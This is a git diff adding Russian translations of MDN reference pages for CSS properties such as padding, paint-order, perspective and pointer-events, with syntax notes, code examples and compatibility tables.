The overscroll-behavior CSS property is shorthand for the {{cssxref("overscroll-behavior-x")}} and {{cssxref("overscroll-behavior-y")}} properties, which allow you to control the browser's scroll overflow behavior — what happens when the boundary of a scrolling area is reached.

+ +
/* Значения-ключевые слова */
+overscroll-behavior: auto; /* по умолчанию */
+overscroll-behavior: contain;
+overscroll-behavior: none;
+
+/* Двойное значение */
+overscroll-behavior: auto contain;
+
+/* Глобальные значения */
+overflow: inherit;
+overflow: initial;
+overflow: unset;
+
+ +

По умолчанию, мобильные браузеры как правило обеспечивают эффект "отскока" или даже обновляют страницу при достижение ее верхней или нижней части (или другой области прокрутки). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called scroll chaining.

+ +

In some cases these behaviors are not desirable. you can use overscroll-behavior to get rid of unwanted scroll chaining and the browser's Facebook/Twitter app-inspired "pull to refresh"-type behavior.

+ +

{{cssinfo}}

+ +

Syntax

+ +

The overscroll-behavior property is specified as one or two keywords chosen from the list of values below.

+ +

Two keywords specifies the overscroll-behavior value on the x and y axes respectively. If only one value is specified, both x and y are assumed to have the same value.

+ +

Values

+ +
+
auto
+
The default scroll overflow behavior occurs as normal.
+
contain
+
Default scroll overflow behavior is observed inside the element this value is set on (e.g. "bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g. underlying elements will not scroll.
+
none
+
No scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is prevented.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +

In our overscroll-behavior example (see the source code also), we present a full-page list of fake contacts, and a dialog box containing a chat window. 

+ +

+ +

Both of these areas scroll; normally if you scrolled the chat window until you hit a scroll boundary, the underlying contacts window would start to scroll too, which is not desirable. This can be stopped using overscroll-behavior-y (overscroll-behavior would also work) on the chat window, like this:

+ +
.messages {
+  height: 220px;
+  overflow: auto;
+  overscroll-behavior-y: contain;
+}
+ +

We also wanted to get rid of the standard overscroll effects when the contacts are scrolled to the top or bottom (e.g. Chrome on Android refreshes the page when you scroll past the top boundary). This can be prevented by setting overscroll-behavior: none on the {{htmlelement("body")}} element:

+ +
body {
+  margin: 0;
+  overscroll-behavior: none;
+}
+ +

Specifications

+ +

Until the CSSWG publishes their own draft, the specification can only be found in its WICG Github Repository.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Overscroll Behavior', '#propdef-overscroll-behavior', 'overscroll-behavior')}}{{Spec2('Overscroll Behavior')}} 
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.overscroll-behavior")}}

+ +

See also

+ + + +

 

diff --git a/files/ru/web/css/padding-left/index.html b/files/ru/web/css/padding-left/index.html new file mode 100644 index 0000000000..0e4c4a28ed --- /dev/null +++ b/files/ru/web/css/padding-left/index.html @@ -0,0 +1,100 @@ +--- +title: padding-left +slug: Web/CSS/padding-left +tags: + - CSS + - CSS свойство +translation_of: Web/CSS/padding-left +--- +
{{CSSRef}}
+ +

Свойство CSS padding-left определяет ширину левого внутреннего отступа элемента.

+ +

{{EmbedInteractiveExample("pages/css/padding-left.html")}}

+ +

Внутренний отступ элемента (англ. "padding") - это пространство между его содержимым и его границей.

+ +
+

Примечание: Свойство {{cssxref ("padding")}} можно использовать для установки внутренних отступов на всех четырех сторонах элемента одним значением.

+
+ +

Синтаксис

+ +
/ * <length> значения * /
+padding-left: 0.5em;
+padding-left: 0;
+padding-left: 2cm;
+
+/ * <percentage> значение * /
+padding-left: 10%;
+
+/ * Глобальные значения * /
+padding-left: inherit;
+padding-left: initial;
+padding-left: unset;
+
+ +

Значения

+ +

 

+ +
+
{{cssxref("<length>")}}
+
Фиксированный размер заполнения отступа. Не может быть отрицательным.
+
{{cssxref("<percentage>")}}
+
Размер заполнения зависит от ширины блока. Не может быть отрицательным.
+
+ +

 

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
.content {padding-left: 5%; }
+.sidebox {padding-left: 10px; }
+
+ +

Определения

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Box', '#the-padding', 'padding-left') }}{{ Spec2('CSS3 Box') }}Без изменений.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-left') }}{{ Spec2('CSS3 Transitions') }}Переопределяет padding-left как анимируемое свойство.
{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-left') }}{{ Spec2('CSS2.1') }}Без изменений.
{{ Specname('CSS1', '#padding-left', 'padding-left') }}{{ Spec2('CSS1') }}Первоначальное определение.
+ +

{{cssinfo}}

+ +

Совместимость

+ +

{{Compat("css.properties.padding-left")}}

+ +
 
diff --git a/files/ru/web/css/padding-right/index.html b/files/ru/web/css/padding-right/index.html new file mode 100644 index 0000000000..378a6ab6e2 --- /dev/null +++ b/files/ru/web/css/padding-right/index.html @@ -0,0 +1,134 @@ +--- +title: padding-right +slug: Web/CSS/padding-right +tags: + - CSS + - CSS свойство +translation_of: Web/CSS/padding-right +--- +
{{CSSRef}}
+ +

Summary

+ +

CSS свойство padding-right элемента устанавливает значение поля от правого края элемента. Поля элемента (padding area) это область, расположенная между контентом и границей элемента. Отрицательное значение не валидно.

+ +

{{cssinfo}}

+ +

Syntax

+ +
/* <length> значения */
+padding-right: 0.5em;
+padding-right: 0;
+padding-right: 2cm;
+
+/* <percentage> значения */
+padding-right: 10%;
+
+/* Общие значения */
+padding-right: inherit;
+padding-right: initial;
+padding-right: unset;
+
+ +

Values

+ +
+
<length>
+
Устанавливает положительную фиксированную ширину. Подробнее: {{cssxref("<length>")}}.
+
<percentage>
+
Процент по отношению к ширине контейнера.
+
+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +
.content { padding-right: 5%; }
+.sidebox { padding-right: 10px; }
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-padding', 'padding-right') }}{{ Spec2('CSS3 Box') }}Без изменений.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-right') }}{{ Spec2('CSS3 Transitions') }}Определяет padding-right, как анимируемое свойство.
{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-right') }}{{ Spec2('CSS2.1') }}Без изменений.
{{ Specname('CSS1', '#padding-right', 'padding-right') }}{{ Spec2('CSS1') }}Исходное определение.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.01.0 (1.0)4.03.51.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
diff --git a/files/ru/web/css/padding/index.html b/files/ru/web/css/padding/index.html new file mode 100644 index 0000000000..15789588c1 --- /dev/null +++ b/files/ru/web/css/padding/index.html @@ -0,0 +1,149 @@ +--- +title: padding +slug: Web/CSS/padding +tags: + - CSS + - CSS Padding + - CSS свойство +translation_of: Web/CSS/padding +--- +
{{CSSRef}}
+ +

Обзор

+ +

Свойство padding устанавливает внутренние отступы/поля со всех сторон элемента. Область отступов это пространство между содержанием элемента и его границей. Отрицательные значения не допускаются.

+ +

Cвойство padding краткая форма записи свойств, чтобы не писать отдельное правило для каждой стороны (padding-top, padding-right, padding-bottom, padding-left).

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Применяется для всех 4 сторон */
+padding: 1em;
+
+/* По вертикали | По горизонтали */
+padding: 5% 10%;
+
+/* Сверху | По горизонтали | Снизу */
+padding: 1em 2em 2em;
+
+/* Сверху | Справа | Снизу | Слева */
+padding: 2px 1em 0 1em;
+
+/* Глобальные значения */
+padding: inherit;
+padding: initial;
+padding: unset;
+
+ +

Значения

+ +

Укажите одно, два, три или четыре следующих значения:

+ +
+
<length>
+
Устанавливает неотрицательный, фиксированый размер. Подробнее в разделе {{cssxref("<length>")}}.
+
<percentage>
+
Относительно ширины родительского блока.
+
+ +
    +
  • Одно значение применяется ко всем четырем сторонам
    • +
  • Два значения применяются: 1. верхняя и нижняя и 2. левая и правая стороны
    • +
  • Три значения применяются: 1. верхняя, 2. левая и правая и 3. нижняя стороны
    • +
  • Четыре значения применяются: 1. верхняя, 2. правая, 3. нижняя и 4. левая стороны
    • +
+ +

Формальное описание синтаксиса

+ +
{{csssyntax}}
+ +

Примеры

+ +
 padding: 5%;                /*  со всех сторон отступ 5% */
+
+ +
 padding: 10px;              /*  со всех сторон отступ 10px */
+
+ +
 padding: 10px 20px;         /*  сверху и снизу отступ 10px */
+                             /*  слева и справа отступ 20px */
+
+ +
 padding: 10px 3% 20px;      /*  сверху отступ 10px       */
+                             /*  слева и справа отступ 3% */
+                             /*  снизу отступ 20px        */
+
+ +
 padding: 1em 3px 30px 5px;  /*  сверху отступ 1em   */
+                             /*  справа отступ 3px   */
+                             /*  снизу отступ 30px   */
+                             /*  слева отступ 5px    */
+
+ +

border:outset; padding:5% 1em;

+ +

Рабочий пример

+ +

HTML

+ +
<h4>Hello world!</h4>
+<h3>The padding is different in this line.</h3>
+
+ +

CSS

+ +
h4{
+  background-color: green;
+  padding: 50px 20px 20px 50px;
+}
+
+h3{
+  background-color: blue;
+  padding: 400px 50px 50px 400px;
+}
+
+ +

{{ LiveSampleLink('Live_Sample', 'Live Sample Link') }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСостояниеКомментарий
{{ SpecName('CSS3 Box', '#the-padding', 'padding') }}{{ Spec2('CSS3 Box') }}No change
{{ SpecName('CSS2.1', 'box.html#propdef-padding', 'padding-top') }}{{ Spec2('CSS2.1') }}No change
{{ Specname('CSS1', '#padding', 'padding') }}{{ Spec2('CSS1') }}Initial definition
+ +

Совместимость с браузерами

+ +

{{Compat("css.properties.padding")}}

+ +
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/paged_media/index.html b/files/ru/web/css/paged_media/index.html new file mode 100644 index 0000000000..e0f263426e --- /dev/null +++ b/files/ru/web/css/paged_media/index.html @@ -0,0 +1,22 @@ +--- +title: Постраничные носители +slug: Web/CSS/Paged_Media +tags: + - CSS + - Руководство + - разрыв страницы + - справочник +translation_of: Web/CSS/Paged_Media +--- +
{{cssref}}
+ +

Свойства Постраничных носителей (Paged media) контролируют представление содержимого страницы для принтера или любого другого носителя, который делает разбивку контента на отдельные страницы. Это позволяет установить разрыв страницы, контролировать область печати, назначить разные стили для левой и правой страниц, контролировать разрывы внутри элементов. Перечень широко поддерживаемых свойств:

+ +
    +
  • {{ cssxref("page-break-before") }}
    • +
  • {{ cssxref("page-break-after") }}
    • +
  • {{ cssxref("page-break-inside") }}
    • +
  • {{ cssxref("orphans") }}
    • +
  • {{ cssxref("widows") }}
    • +
  • {{ cssxref("@page") }}
    • +
diff --git a/files/ru/web/css/paint-order/index.html b/files/ru/web/css/paint-order/index.html new file mode 100644 index 0000000000..0092fcf06d --- /dev/null +++ b/files/ru/web/css/paint-order/index.html @@ -0,0 +1,104 @@ +--- +title: paint-order +slug: Web/CSS/paint-order +tags: + - окраска + - отрисовка + - порядок окраски +translation_of: Web/CSS/paint-order +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

CSS-свойство paint-order позволяет вам контролировать порядок, в котором отрисовываются заливка и обводка (и нарисованные маркеры) текстового содержимого и фигур.

+ +

Синтаксис

+ +
/* Нормальный */
+paint-order: normal;
+
+/* Единичное значение */
+paint-order: stroke; /* отрисовывает сначала обводку, затем заливку и маркеры */
+paint-order: markers; /* отрисовывает сначала маркеры, затем заливку и обводку */
+
+/* Множественные значения */
+paint-order: stroke fill; /* отрисовывает сначала обводку, затем заливку, затем маркеры */
+paint-order: markers stroke fill; /* отрисовывает маркеры, затем обводку, затем заливку */
+
+ +

Если значение не указано, значением по умолчанию является следующий порядок  fill, stroke, markers.

+ +

Когда указано одно значение, то сначала отрисовывается оно, затем два других в дефолтном поряд друг относительно друга. Когда указано два значения, они будут отрисованы в указанном порядке, а затем будет отрисовано неопределенное значение.

+ +
+

Примечание: В этом случае, маркеры отрисовываются только при рисовании форм SVG. включающих использование свойств marker-*  (например marker-start) и элемента <marker>. Они не применяются к тексту HTML, в этом случае, вы можете определить только порядок stroke и fill.

+
+ +

Значения

+ +
+
normal
+
Окрасит различные части в обычном порядке.
+
stroke,
+ fill,
+ markers
+
Указываются некоторые или все эти значения в том порядке, в котором вы хотите увидеть отрисовку.
+
+ +

Формальный синтаксис

+ +
{{CSSSyntax}}
+ +

Примеры

+ +

SVG

+ +
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
+  <text x="10" y="75">stroke in front</text>
+  <text x="10" y="150" class="stroke-behind">stroke behind</text>
+</svg>
+ +

CSS

+ +
text {
+  font-family: sans-serif;
+  font-size: 50px;
+  font-weight: bold;
+  fill: black;
+  stroke: red;
+  stroke-width: 4px;
+}
+
+.stroke-behind {
+  paint-order: stroke fill;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Examples", "100%", 165)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("SVG2", "painting.html#PaintOrder", "paint-order")}}{{Spec2("SVG2")}}Первое определение.
+ +

{{CSSInfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.paint-order")}}

diff --git a/files/ru/web/css/percentage/index.html b/files/ru/web/css/percentage/index.html new file mode 100644 index 0000000000..fa0bde6686 --- /dev/null +++ b/files/ru/web/css/percentage/index.html @@ -0,0 +1,89 @@ +--- +title: +slug: Web/CSS/percentage +translation_of: Web/CSS/percentage +--- +
{{CSSRef}}
+ +

CSS тип данных <percentage> представляет значение в процентах. Оно часто используется, чтобы определить размер относительно родительского элемента. Проценты используются в различных свойствах, таких как {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, и {{Cssxref("font-size")}}.

+ +
Обратите внимание: Наследуются рассчитанные значения. Таким образом, даже если процентное значение используется на родительском элементе, настоящее значение (такое, как пиксели для типа данных {{cssxref("<length>")}}) будет доступно в унаследованном свойстве, а не значение в процентах.
+ +

Синтаксис

+ +

Тип данных <percentage> состоит из {{cssxref("<number>")}}, за которым следует знак процента (%). Так же впереди может стоять знак + или -, хотя отрицательные значения допустимы не во всех свойствах. Как и у всех единиц измерения CSS между символом процента и числом нет пробельного символа.

+ +

Интерполяция

+ +

При анимировании значения типа данных <percentage> интерполируются как настоящие числа с плавающей запятой. Скорость интерполяции зависит от функции времени, с которой используется анимация.

+ +

Примеры

+ +

Ширина и левый отступ

+ +
<div style="background-color:blue;">
+  <div style="width:50%; margin-left:20%; background-color:lime;">
+    Width: 50%, Left margin: 20%
+  </div>
+  <div style="width:30%; margin-left:60%; background-color:pink;">
+    Width: 30%, Left margin: 60%
+  </div>
+</div>
+
+ +

HTML код выше будет выглядеть так:

+ +

{{EmbedLiveSample('Ширина_и_левый_отступ', '600', 140)}}

+ +

Размер шрифта

+ +
<div style="font-size:18px;">
+  <p>Full-size text (18px)</p>
+  <p><span style="font-size:50%;">50%</span></p>
+  <p><span style="font-size:200%;">200%</span></p>
+</div>
+
+ +

HTML код выше будет выглядеть так:

+ +

{{EmbedLiveSample('Размер_шрифта', 'auto', 160)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS4 Values', '#percentages', '<percentage>')}}{{Spec2('CSS4 Values')}}Нет значительных изменений.
{{SpecName('CSS3 Values', '#percentages', '<percentage>')}}{{Spec2('CSS3 Values')}}Нет значительных изменений после CSS Уровня 2 (ревизия 1).
{{SpecName('CSS2.1', 'syndata.html#percentage-units', '<percentage>')}}{{Spec2('CSS2.1')}}Не изменено с CSS Уровень 1.
{{SpecName('CSS1', '#percentage-units', '<percentage>')}}{{Spec2('CSS1')}}Первое определение.
+ +

Поддержка браузерами

+ + + +

{{Compat("css.types.percentage")}}

diff --git a/files/ru/web/css/perspective/index.html b/files/ru/web/css/perspective/index.html new file mode 100644 index 0000000000..f0cd21e705 --- /dev/null +++ b/files/ru/web/css/perspective/index.html @@ -0,0 +1,284 @@ +--- +title: perspective +slug: Web/CSS/perspective +translation_of: Web/CSS/perspective +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Описание

+ +

Свойство CSS perspective определяет расcтояние между плоскостью z = 0 и пользователем для того чтобы придать 3D-позиционируемому элементу эффект переспективы. Каждый трансформируемый элемент с z > 0 станет больше, с z < 0 соответственно меньше.

+ +

Элементы части которые находятся за пользователем, т.е. z-координата этих элементов больше чем значение  свойства perspective, не отрисовываются.

+ +

Точка схождения по-умолчанию расположена в центре элемента, но её можно переместить используя свойство {{ cssxref("perspective-origin") }}.

+ +

При использовании данного свойства со значениями отличными от 0 или none создается новый stacking context.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Keyword value */
+perspective: none;
+
+/* Значения <length> */
+perspective: 20px;
+perspective: 3.5em;
+
+/* Глобальные значения */
+perspective: inherit;
+perspective: initial;
+perspective: unset;
+
+ +

Значения

+ +
+
none
+
Указывает что трасформация перспективы к элементу применяться не будет.
+
<length>
+
{{cssxref("<length>")}} устанавливает растояние от пользователя до плоскости z = 0. Применяет трасформацию к элементу и его содержимому. Если значение отрицательно или равно 0, то преобразование не применяется.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Три куба

+ +

HTML Content

+ +
<table>
+   <tbody>
+      <tr>
+         <th><code>perspective: 250px;</code>
+         </th>
+         <th><code>perspective: 350px;</code>
+         </th>
+         <th><code>perspective: 500px;</code>
+         </th>
+      </tr>
+      <tr>
+         <td>
+            <div class="container">
+               <div class="cube pers250">
+                  <div class="face front">1</div>
+                  <div class="face back">2</div>
+                  <div class="face right">3</div>
+                  <div class="face left">4</div>
+                  <div class="face top">5</div>
+                  <div class="face bottom">6</div>
+               </div>
+            </div>
+         </td>
+         <td>
+            <div class="container">
+               <div class="cube pers350">
+                  <div class="face front">1</div>
+                  <div class="face back">2</div>
+                  <div class="face right">3</div>
+                  <div class="face left">4</div>
+                  <div class="face top">5</div>
+                  <div class="face bottom">6</div>
+               </div>
+            </div>
+         </td>
+         <td>
+            <div class="container">
+               <div class="cube pers500">
+                  <div class="face front">1</div>
+                  <div class="face back">2</div>
+                  <div class="face right">3</div>
+                  <div class="face left">4</div>
+                  <div class="face top">5</div>
+                  <div class="face bottom">6</div>
+               </div>
+            </div>
+         </td>
+      </tr>
+   </tbody>
+</table>
+ +

CSS Content

+ +
/* Короткие классы для различных значений perspective */
+.pers250 {
+    perspective: 250px;
+    -webkit-perspective: 250px;
+}
+.pers350 {
+    perspective: 350px;
+    -webkit-perspective: 350px;
+}
+.pers500 {
+    perspective: 500px;
+    -webkit-perspective: 500px;
+}
+
+/* Определяем div.container, div.cube, и свойства граней куба */
+ .container {
+   width: 200px;
+   height: 200px;
+   margin: 75px 0 0 75px;
+   border: none;
+}
+.cube {
+   width: 100%;
+   height: 100%;
+   backface-visibility: visible;
+   perspective-origin: 150% 150%;
+   transform-style: preserve-3d;
+   -webkit-backface-visibility: visible;
+   -webkit-perspective-origin: 150% 150%;
+   -webkit-transform-style: preserve-3d;
+}
+.face {
+   display: block;
+   position: absolute;
+   width: 100px;
+   height: 100px;
+   border: none;
+   line-height: 100px;
+   font-family: sans-serif;
+   font-size: 60px;
+   color: white;
+   text-align: center;
+}
+
+/* Определяем каждую грань в зависимости от направления */
+ .front {
+   background: rgba(0, 0, 0, 0.3);
+   transform: translateZ(50px);
+   -webkit-transform: translateZ(50px);
+}
+.back {
+   background: rgba(0, 255, 0, 1);
+   color: black;
+   transform: rotateY(180deg) translateZ(50px);
+   -webkit-transform: rotateY(180deg) translateZ(50px);
+}
+.right {
+   background: rgba(196, 0, 0, 0.7);
+   transform: rotateY(90deg) translateZ(50px);
+   -webkit-transform: rotateY(90deg) translateZ(50px);
+}
+.left {
+   background: rgba(0, 0, 196, 0.7);
+   transform: rotateY(-90deg) translateZ(50px);
+   -webkit-transform: rotateY(-90deg) translateZ(50px);
+}
+.top {
+   background: rgba(196, 196, 0, 0.7);
+   transform: rotateX(90deg) translateZ(50px);
+   -webkit-transform: rotateX(90deg) translateZ(50px)
+}
+.bottom {
+   background: rgba(196, 0, 196, 0.7);
+   transform: rotateX(-90deg) translateZ(50px);
+   -webkit-transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* Делаем таблицу немного лучше */
+th, p, td {
+   background-color: #EEEEEE;
+   padding: 10px;
+   font-family: sans-serif;
+   text-align: left;
+}
+ +

Результат

+ +

{{ EmbedLiveSample('Three_cubes', 940, 460) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарий
{{ Specname('CSS3 Transforms', '#perspective', 'perspective') }}{{ Spec2('CSS3 Transforms') }}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка +

12{{ property_prefix('-webkit') }}{{ CompatGeckoDesktop("10") }}
+ 45

+ 		{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}		 +

{{ CompatGeckoDesktop("10") }}{{ property_prefix('-moz') }}
+ {{ CompatGeckoDesktop("16") }}[1]

+ 		1015{{ property_prefix('-webkit') }}{{ CompatVersionUnknown() }}{{ property_prefix('-webkit') }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка3.0{{ property_prefix('-webkit') }}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
+ {{CompatVersionUnknown}}		{{ CompatGeckoMobile("10") }}{{ property_prefix('-moz') }}
+ {{ CompatGeckoMobile("16") }}[1]		8.1{{ CompatVersionUnknown() }}{{ property_prefix('-webkit') }}{{ CompatVersionUnknown() }}{{ property_prefix('-webkit') }}
+
+ +

[1] In addition to the unprefixed support, Gecko 45.0 {{geckoRelease("45.0")}} added support for a -webkit prefixed version of the property for web compatibility reasons behind the preference layout.css.prefixes.webkit, defaulting to false. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to true.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/pointer-events/index.html b/files/ru/web/css/pointer-events/index.html new file mode 100644 index 0000000000..99f9b27a87 --- /dev/null +++ b/files/ru/web/css/pointer-events/index.html @@ -0,0 +1,189 @@ +--- +title: pointer-events +slug: Web/CSS/pointer-events +tags: + - CSS свойства + - Ссылка +translation_of: Web/CSS/pointer-events +--- +
{{CSSRef}}
+ +

Описание

+ +

CSS свойство pointer-events позволяет контролировать события, при которых элемент может стать объектом события мыши. Если это свойство не задано, то к содержимому SVG будут применяться характеристики значения visiblePainted.

+ +

Вдобавок к указанию того, что элемент не является объектом события мыши, значение none сообщает событию мыши проходить "через" элемент и обращаться к элементу, находящемуся "под" ним.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Значения ключевых слов */
+pointer-events: auto;
+pointer-events: none;
+pointer-events: visiblePainted; /* только SVG */
+pointer-events: visibleFill;    /* только SVG */
+pointer-events: visibleStroke;  /* только SVG */
+pointer-events: visible;        /* только SVG */
+pointer-events: painted;        /* только SVG */
+pointer-events: fill;           /* только SVG */
+pointer-events: stroke;         /* только SVG */
+pointer-events: all;            /* только SVG */
+
+/* Глобальные значения */
+pointer-events: inherit;
+pointer-events: initial;
+pointer-events: unset;
+
+ +

Значения

+ +
+
auto
+
Элемент ведёт себя так же, как и если бы свойство pointer-events не было задано. В SVG это значение даёт такой же эффект, как и значение visiblePainted.
+
none
+
Элемент не может быть целью (target) cобытий мыши; тем не менее, целью событий мыши могут быть его потомки, если их pointer-events имеет какое-либо другое значение. В этом случае события мыши вызовут ожидаемое срабатывание обработчиков на этом родительском элементе на пути к/от потомк(у)/(а) во время фазы захвата/всплытия.
+
visiblePainted
+
Только SVG. Элемент может быть целью события мыши только когда свойство visibility установлено в значение visible и когда курсор мыши находится над внутренней частью ('fill') элемента, при этом свойство fill установлено в значение отличное от none, или над периметром элемента ('stroke'), при этом свойство stroke установлено в значение отличное от none.
+
visibleFill
+
Только SVG. Элемент может быть целью события мыши только когда свойство visibility установлено в значение visible и когда курсор мыши находится над внутренней частью ('fill') элемента. Значение свойства fill не влияет на обработку события.
+
visibleStroke
+
Только SVG. Элемент может быть целью события мыши только когда свойство visibility установлено в значение visible и когда курсор мыши находится над периметром элемента ('stroke'). Значение свойства stroke не влияет на обработку события.
+
visible
+
Только SVG. Элемент может быть целью события мыши только когда свойство visibility установлено в значение visible и когда курсор мыши находится над внутренней частью ('fill') или над периметром ('stroke') элемента. Значение свойств fill и stroke не влияют на обработку события.
+
painted
+
Только SVG. Элемент может быть целью события мыши только когда курсор мыши находится над внутренней частью ('fill') элемента, при этом свойство fill установлено в значение отличное от none, или над периметром элемента ('stroke'), при этом свойство stroke установлено в значение отличное от none. Значение свойства visibility не влияет на обработку события.
+
fill
+
Только SVG. Элемент может быть целью события мыши только когда курсор мыши находится над внутренней частью ('fill') элемента. Значение свойств visibility и fill не влияют на обработку события.
+
stroke
+
Только SVG. Элемент может быть целью события мыши только когда курсор мыши находится над периметром элемента ('stroke'). Значение свойств visibility и stroke не влияют на обработку события.
+
all
+
Только SVG. Элемент может быть целью события мыши только когда курсор мыши находится над внутренней частью ('fill') или над периметром ('stroke') элемента. Значение свойств visibility, fill и stroke не влияют на обработку события.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Пример 1

+ +
/* Пример 1: Сделать так, что бы все объекты img не реагировали на перетаскивание, наведение(:hover), нажатие(click) и т.д. */
+img {
+  pointer-events: none;
+}
+ +

Пример 2

+ +

Сделать ссылку на ресурс http://example.com не реагирующей на нажатие(click), наведение(:hover) и т.д.

+ +
<ul>
+  <li><a href="https://developer.mozilla.org">MDN</a></li>
+  <li><a href="http://example.com">example.com</a></li>
+</ul>
+ +
a[href="http://example.com"] {
+  pointer-events: none;
+}
+ +
{{EmbedLiveSample('Example_2', "500", "100")}}
+ +

Примечание

+ +

Обратите внимание, что предотвращение того, чтобы элемент был объектом событий мыши,  с помощью pointer-events не обязательно означает, что прослушиватели событий мыши на этом элементе не могут или не будут запускаться. Если у одного из  дочерних элементов есть явные pointer-events, позволяющие этому ребенку быть объектом событий мыши, тогда любые события, нацеленные на этого дочернего элемента, будут проходить через родителя, когда событие перемещается вдоль родительской цепочки и запускает прослушиватели событий на родительском объекте. Конечно, любая активность мыши в точке на экране, которая покрывается родителем, но не дочерним, не будет поймана ни ребенком, ни родителем (он пройдет через «родительский» на «цели» под ним).

+ +

Мы хотели бы предоставить более тонкий контроль (а не только auto и none) в HTML, когда части элемента смогут «поймать» события мыши. Если у вас есть какие-то конкретные вещи, чтобы помочь нам в решении как следует расширить pointer-events для HTML, и которые вы хотели бы сделать с этим свойством, добавьте их в раздел «Использовать случаи» на этой странице вики (не беспокойтесь, мы всё сохраним аккуратно). 

+ +

Характеристики

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКоммент
{{SpecName('SVG1.1', 'interact.html#PointerEventsProperty', 'pointer-events')}}{{Spec2('SVG1.1')}} 
+ +

Это расширение для элементов HTML, хоть и присутствует в ранних версиях CSS Basic User Module Interface Level 3, было перенесено на level 4.

+ +

Совместимость браузера

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
SVG support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.8")}}11.09.0 (2.0)3.0 (522)
HTML/XML content2.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.2")}}11.015.04.0 (530)
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{CompatVersionUnknown}}3.611333.2
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/position/index.html b/files/ru/web/css/position/index.html new file mode 100644 index 0000000000..e0988d3b9e --- /dev/null +++ b/files/ru/web/css/position/index.html @@ -0,0 +1,327 @@ +--- +title: position +slug: Web/CSS/position +translation_of: Web/CSS/position +--- +
{{CSSRef}}
+ +
Свойство {{cssxref('','CSS')}} position указывает, как элемент позиционируется в документе. {{cssxref('top')}}, {{cssxref('right')}}, {{cssxref('bottom')}} и {{cssxref('left')}} определяют конечное местоположение позиционированных элементов.
+ +
+ +
{{EmbedInteractiveExample("pages/css/position.html")}}
+ + + +

Типы позиционирования

+ +
    +
  • Позиционируемый элемент — это элемент, у которого {{cssxref('computed_value', 'вычисленное значение')}} position является relative, absolute, fixed либо sticky. (Другими словами, это вce, кроме static.)
    • +
  • Относительно позиционируемый элемент является элементом, {{cssxref('computed_value', 'вычисленное значение')}} position которого является relative. Свойства {{cssxref('top')}} и {{cssxref('bottom')}} определяют смещение по вертикали от его нормального положения; свойства {{cssxref('left')}} и {{cssxref('right')}} задают горизонтальное смещение.
    • +
